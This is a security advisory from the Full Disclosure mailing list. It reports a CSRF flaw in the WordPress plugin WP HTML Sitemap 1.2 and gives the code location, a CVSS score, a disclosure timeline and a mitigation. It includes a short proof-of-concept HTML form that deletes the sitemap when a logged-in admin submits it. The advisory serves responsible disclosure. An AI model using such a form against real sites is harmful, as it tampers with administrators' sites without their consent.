CSRF vulnerability in WP HTML Sitemap 1.2 (WordPress plugin)

[Harry Metcalfe <harry () dxw com>]

Details
================
Software: WP HTML Sitemap
Version: 1.2
Homepage: http://wordpress.org/plugins/wp-html-sitemap/
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF vulnerability in WP HTML Sitemap 1.2

Vulnerability
================
A CSRF vulnerability exists which allows an attacker to delete the 
sitemap if a logged-in admin user visits a link of the attacker’s choosing.
Line 202 of inc/AdminPage.php says “// check whether form was just 
submitted” but the following if/elseif statements only check whether a 
particular button was pressed without checking nonce values. The form in 
question is printed in wp_html_sitemap_AdminPage::createSitemapForm() 
around line 146 of the same file.

Proof of concept
================
This form deletes the sitemap without requiring a nonce value:
<form 
action="http://not-a-real-site.local/wp-admin/options-general.php?page=wp-html-sitemap&tab=general"; 
method="POST">
<input type="text" name="deleteSitemap" value="Delete Sitemap">
<input type="submit">
</form>

Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security () dxw com to acknowledge this report if you 
received it via a third party (for example, plugins () wordpress org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2014-02-21: Discovered
2014-02-26: Reported
2014-03-28: No response received. Published


Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.



_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/